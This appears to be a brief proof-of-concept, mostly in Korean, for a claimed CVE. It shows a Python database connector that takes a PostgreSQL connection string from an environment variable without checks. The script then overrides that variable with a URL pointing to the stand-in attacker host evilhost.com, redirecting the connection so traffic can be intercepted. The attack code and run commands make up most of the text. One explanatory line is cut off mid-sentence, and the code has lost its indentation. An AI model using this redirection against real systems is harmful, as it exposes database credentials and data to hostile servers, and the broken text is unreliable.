
CVE-2026-11115에 대한 최소한의 Python PoC로, 환경 변수를 통한 데이터베이스 연결 문자열 삽입 및 공격자가 제어하는 PostgreSQL 호스트로의 리디렉션을 시연합니다.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
애플리케이션이 환경 변수에서 데이터베이스 연결 문자열을 검증 없이 가져와 구성합니다. 공격자가 해당 변수에 영향을 미칠 수 있다면(예: 서버 측 요청 위조 또는 CI/CD 파이프라인 잘못된 설정), 데이터베이스 연결을 공격자 소유 서버로 리디렉션하여 데이터를 가로채거나 변조할 수 있습니다.
host)를 덧붙여 원래 호스트를 재정의할 수 있습니다.시뮬레이션 실행:
pip install psycopg2-binary
python db_connector.py
프로그램은 localhost 대신 evilhost.com에 연결을 시도합니다.